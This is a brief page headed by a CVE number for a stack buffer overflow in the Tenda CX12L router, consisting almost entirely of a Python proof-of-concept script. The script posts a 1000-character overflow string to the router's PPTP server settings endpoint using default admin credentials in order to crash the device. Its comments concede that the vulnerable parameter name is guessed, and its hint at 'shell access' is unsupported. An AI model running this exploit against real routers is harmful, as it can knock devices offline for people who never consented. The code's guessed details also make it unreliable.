CVE-2026-8138 Tenda CX12L栈缓冲区溢出漏洞

import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/SetPptpServerCfg" # Vulnerability analysis # The function 'formSetPPTPServer' does not check the length of input parameters # before copying them to a stack-based buffer. # Sending a large payload can trigger the buffer overflow. # Constructing the payload # Note: The specific parameter name causing the overflow depends on the firmware analysis. # Assuming 'pptpServerName' or similar parameter is the culprit based on context. payload = "A" * 1000 # Length sufficient to overflow the stack buffer post_data = { "username": "admin", "password": "admin", "pptpServerName": payload, # Vulnerable parameter input "action": "apply" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=post_data, headers=headers, timeout=5) print(f"Response Status Code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("Payload sent successfully. Check the device for crash or shell access.") else: print("Unexpected response.") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}") print("The device might have crashed due to the overflow.")